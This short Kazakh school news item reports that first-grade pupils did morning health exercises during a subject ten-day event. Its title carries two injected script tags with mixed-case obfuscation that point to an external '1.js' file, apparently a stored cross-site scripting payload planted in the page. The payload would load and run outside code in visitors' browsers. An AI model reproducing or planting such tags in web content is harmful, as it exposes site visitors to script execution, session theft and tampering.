Таңертеңгілік денсаулық жаттығулары<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Таңертеңгілік сауықтыру жаттығулары қалыпты дене жаттығуларының жиынтығынан тұратын дене тәрбиесінің кең таралған түрлерінің бірі болып табылады. Күнделікті жаттығулар денені сергітеді, ұйқыны, тәбетті жақсартады және өнімділікті арттырады.

Пәндік онкүндік аясында 1-Б сыныптарында дене шынықтыру сабағында балалар таңғы сауықтыру жаттығуларын орындады.